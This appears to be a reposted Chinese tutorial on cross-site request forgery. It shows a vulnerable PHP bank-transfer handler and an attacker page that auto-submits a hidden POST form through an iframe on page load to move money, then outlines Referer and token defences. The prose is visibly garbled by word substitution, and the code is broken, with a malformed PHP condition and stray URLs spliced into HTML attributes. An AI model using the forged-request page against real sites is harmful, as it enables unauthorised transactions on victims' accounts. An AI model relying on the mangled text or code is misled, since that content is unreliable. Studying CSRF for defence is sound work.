作家
登录

关于Web安全的三个攻防姿势

作者: 来源: 2017-10-19 09:31:22 阅读 我要评论

示例3

经由前面2个惨痛的教训,银行决定把获取请求数据的办法也改了,改用$_POST,只获取POST请求的数据,后台处理页面Transfer.php代码如下:

  1. <?php 
  2.  
  3. session_start(); 
  4.  
  5. if (isset($_POST['toBankId'] && isset($_POST['money'])) 
  6.  
  7.  
  8.   buy_stocks($_POST['toBankId'], $_POST['money']); 
  9.  
  10.  
  11. ?>  

然而,危险网站B与时俱进,它改了一下代码:

  1. <html> 
  2. <head> 
  3. <script type="text/javascript"
  4. function steal() 
  5.            iframe = document.frames["steal"]; 
  6.            iframe.document.Submit("transfer"); 
  7. </script> 
  8. </head> 
  9.  
  10. <body onload="steal()"
  11. <iframe name="steal" display="none"
  12. <form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php"
  13. <input type="hidden" name="toBankId" value=http://developer.51cto.com/art/201710/"11"
  14. <input type="hidden" name="money" value=http://developer.51cto.com/art/201710/"1000"
  15. </form> 
  16. </iframe> 
  17. </body> 
  18. </html>  

如不雅用户仍是持续膳绫擎的操作,很不幸,结不雅将会是再次不见1000块......因为这里危险网站B暗地里发送了POST请求到银行!


总结一下膳绫擎3个例子,CSRF重要的进击模式根本上是以上的3种,个中以第1,2种最为严重,因为触发前提很简单,一个<img>就可以了,而第3种比较麻烦,须要应用JavaScript,所以应用的机会会比前面的少很多,但无论是哪种情况,只要触发了CSRF进击,后不雅都有可能很严重。

懂得膳绫擎的3种进击模式,其实可以看出,CSRF进击是源竽暌冠WEB的隐式身份验证机制!WEB的身份验证机制固然可以包管一个请求是来自于某个用户的浏览器,但却无法包管该请求是用户赞成发送的!

当前防御 CSRF 的几种策略

在业界今朝防御 CSRF 进击重要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。下面就分别对这三种策略进行具体介绍。

验证 HTTP Referer 字段

长处:简单易行,只须要在最后给所有安然敏感的请求同一增长一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的体系,不须要改变当前体系的任何已有代码和逻辑,没有风险,异常便捷。

缺点:

1、Referer 的值是由浏览器供给的,弗成全信,低版本浏览器下Referer存在捏造风险。

2、用户本身可以设置浏览器使其在发送请求时不再供给 Referer时,网站将近绝合法用户的拜访。

在请求地址中添加 token 并验证

在请求中放入黑客所不克不及捏造的信息,并且该信息不存在于 cookie 之中,以HTTP请求参数的情势参加一个随机产生的 token交由办事端验证


  推荐阅读

  华为轮值CEO徐直军:应对快速变化的世界

沙龙晃荡 | 去哪儿、陌陌、ThoughtWorks在主动化运维中的实践!10.28不见不散! 在10月15日举办的2017中国治理>>>详细阅读


本文标题:关于Web安全的三个攻防姿势

地址:http://www.17bianji.com/lsqh/38025.html

关键词: 探索发现

乐购科技部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与乐购科技进行文章共享合作。

网友点评
自媒体专栏

评论

热度

精彩导读
栏目ID=71的表不存在(操作类型=0)